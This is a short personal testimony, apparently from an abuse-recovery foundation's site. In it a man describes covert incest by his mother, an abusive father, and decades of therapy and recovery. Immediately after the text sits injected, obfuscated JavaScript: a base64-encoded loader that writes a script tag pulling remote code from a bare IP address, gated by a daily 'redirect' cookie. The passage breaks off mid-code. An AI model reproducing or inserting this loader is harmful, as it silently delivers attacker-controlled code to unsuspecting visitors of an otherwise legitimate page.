029 – Andy (United States)

When I was about age 6 my parents separated. My Mom was lonely, probably felt scared and began to use me as a substitute for my Dad. Though there was no overt incest, mine could best be described as covert incest. I slept in my Mom’s bed until I was seventeen years old. My Dad was not around and when he was he was angry and abusive. I had no idea the confusion and suffering this would cause as I became an adult. Through a lot of hard work and therapy I have learned to re-parent myself. It’s taken 35 years of effort and desire. I really believe in the work and purpose of this foundation, being so fully aware of the devastating problems and suffering childhood sexual abuse causes. I know that with intention and desire it is possible to grow and change, and lead a happy fulfilling life. I have seen what seems like a miracle transformation in many of the people I’ve met in recovery. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘